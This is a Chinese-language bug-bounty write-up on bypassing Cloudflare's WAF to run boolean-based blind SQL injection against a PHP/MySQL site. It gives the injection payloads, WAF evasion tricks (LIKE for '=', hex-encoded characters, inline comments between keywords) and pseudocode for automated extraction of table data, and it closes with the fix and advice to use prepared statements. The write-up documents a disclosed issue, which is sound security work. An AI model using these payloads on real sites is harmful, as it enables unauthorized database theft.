绕过Cloudflare进行SQL注入 bypass cloudflare

绕过Cloudflare进行SQL注入 bypass cloudflare

绕过Cloudflare的waf进行SQL注入

有关应用程序的详细信息

该应用程序是一个用PHP编写的通用网站,其中MySQL作为后端DBMS。易受攻击的页面向/index.php端点提交了包含多部分表单主体数据的POST请求。老实说,我不记得该表格的使用了,对于撰写该文章也没什么关系。POST请求如下所示:

POST /index.php HTTP/1.1
Host: ******
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=dc30b7aab06d4aff91d4285d7e60d4f3

--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="126"

###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="127"

###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="130"

...
...

###### #### 6 ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="task"

form.save
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="form_id"

X-MARK
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="96"

############
--dc30b7aab06d4aff91d4285d7e60d4f3

...
...

Content-Disposition: form-data; name="115[]"

########## ################## #### ###### ######
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="125"

###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3--

X-MARK处未经过滤的参数可用于在SQL SELECT查询的WHERE子句处插入任意值。例如,如果以上数据作为POST请求的主体发送,则将在服务器上执行的SQL查询如下所示:

SELECT c1,c2,c3 FROM t1 WHERE X-MARK;

通常用于这种注入的技术是基于时间的SQL盲注入。问题是,Cloudflare会识别出这种类型的注射并将其当场阻止。无论我尝试进行查询有多么复杂,也不管我使用了多少个sqlmap篡改脚本,Cloudflare都始终存在。

为了克服此问题,我使用了在同一请求上手动测试SQL注入时所做的观察:我注意到当我尝试注入导致类似于以下SQL查询的代码时:

SELECT c1,c2,c3 FROM t1 WHERE 'a'='a';

Web服务器以200 OK响应。当我尝试注入导致类似于此SQL查询的代码时:

SELECT c1,c2,c3 FROM t1 WHERE 'a'='b';

服务器以状态500 Internal Server Error响应。

换句话说,当后端中的SQL查询未返回结果时,Web服务器会抱怨并崩溃(可能是因为后端代码试图访问返回列表中索引超出范围的项目)。这给了我一个主意:编写一个脚本,比较从所需DBMS实体名称中选择的字符,然后依次将其与所有字符进行比较。这个想法是,如果两个字符匹配,服务器将返回200 OK状态,否则它将返回500 Internal Server Error状态,并且我必须将请求的字符与列表中的下一个字符进行比较。

第一次尝试

我的想法是,如果要查找第五个表的名称的第一个第二个字符(如在information_schema.tables中列出的那样),我将从询问MySQL该字符是否等于’a’开始,如果不是,将以“ b”,“ c”等继续。我将首先注入以下字符串(与“ a”进行比较):

'a' =
 (SELECT SUBSTRING(table_name, 2, 1)
  FROM information_schema.tables
  LIMIT 4, 1
 )

这将导致在服务器上执行以下SQL查询:

SELECT c1,c2,c3 FROM t1
WHERE 'a' =
 (SELECT SUBSTRING(table_name, 2, 1)
  FROM information_schema.tables
  LIMIT 4, 1
 )

例如,当我发现表名称为t1时,我将通过以下开始注入来强行使用其列名称:

注射1

'a' =
 (SELECT SUBSTRING(column_name, 1, 1)
  FROM information_schema.columns
  WHERE table_name = "t1"
  LIMIT 0, 1
 )

然后通过以下注入开始实际从表t1的列c1中获取值:

'a' =
 (SELECT SUBSTRING(c1, 1, 1)
  FROM t1
  LIMIT 0, 1
 )

这个想法很好,但是Cloudflare会抱怨’=’符号。注射

'a' = 'b'

将被Cloudflare的WAF阻止。经过一番摆弄之后,我提出了以下请求,绕过了’=’限制:

'a' LIKE 'b'

这意味着初始注射“ 注射1”将变为:

'a' LIKE
 (SELECT SUBSTRING(column_name, 1, 1)
  FROM information_schema.columns
  WHERE table_name = "t1"
  LIMIT 0, 1
 )

第二次尝试

注射1仍未准备就绪。Cloudflare仍然会抱怨一些东西。更具体地说是注射

'a' LIKE 'b'

仍然会被阻止,不是因为LIKE关键字,而是因为’a’字符。不允许将纯字符串与任何内容进行比较。为了克服这个问题,我想出了以下注入方法,这些注入方法未被WAF检测到:

'0x61' LIKE 'b'

上面的注入将字符“ a”作为十六进制编码的值“ 0x61”发送,这仍然允许其工作:

'0x61' LIKE 'a'

仍然返回True,并且

'0x61' LIKE 'b'

通过未检测到并返回False。

生成的INJECTION 1 现在看起来像这样:

'0x61' LIKE
 (SELECT SUBSTRING(column_name, 1, 1)
  FROM information_schema.columns
  WHERE table_name = "t1"
  LIMIT 0, 1
 )

第三次尝试

我必须进行的第三项混淆是在SQL查询关键字之间添加了多行注释。Cloudflare将阻止这样的查询:

SELECT c1,c2,c3 FROM t1 WHERE '0x61' LIKE 'b'

但是使用多行注释技巧,新查询将无法检测到:

SELECT/*trick comment*/ c1,c2,c3
FROM/*trick comment*/ t1
WHERE '0x61' LIKE 'b'

因此,将此方法应用于INJECTION 1,将使其看起来像这样:

'0x61' LIKE
 (SELECT/*trick comment*/ SUBSTRING(column_name, 1, 1)
  FROM/*trick comment*/ information_schema.columns
  WHERE table_name = "t1"
  LIMIT 0, 1
 )

上面的注入是最终形式,当作为表单值传递给易受攻击的Web应用程序时,如果字符“ a”与表t1的第一列名称的第一个字符匹配,则Web服务器将以200 OK进行响应。

全速前进

为了使从应用程序数据库中检索表内容更加容易,我用Python编写了一个脚本来自动执行该过程。脚本的伪代码如下所示:

# assert names of columns and table name is known
alphabet = [a,b,c,...,y,z]
characterPosition = 1 # the position of the character we are bruteforcing
for rowNumber in [0,20]:
  for columnName in columns:
    for character in alphabet:
      sqlInjection = '''
        0x{hex_encode(character)} LIKE (
        SELECT/*trick comment*/ SUBSTRING({columnName}, characterPosition,1)
        FROM/*trick comment*/ tableName
        LIMIT {rowNumber}, 1
        )
      '''

      inject sqlInjection is POST request body
      if response.status == 200:
        result += character
        recurse function with characterPosition++
      elif response.status == 500:
        continue with next character in alphabet

      return result

这就是我绕过Cloudflare WAF的SQL注入保护的方式。我得到了免费的T恤,并在Cloudflare的HoF中占有一席之地。

解决

我的报告发布后几天,Cloudlfare审查并修复了该漏洞。

准备好的语句是减轻数据库上SQL注入的最安全方法。这些包含在大多数语言的大多数数据库交互库中。您可以在OWASP上找到减轻SQL注入的方法的完整列表 。我的观点是,如果开发人员注意在其应用程序上应用安全措施,则WAF在大多数情况下是不必要的。您需要做的只是正确清理用户的输入。

from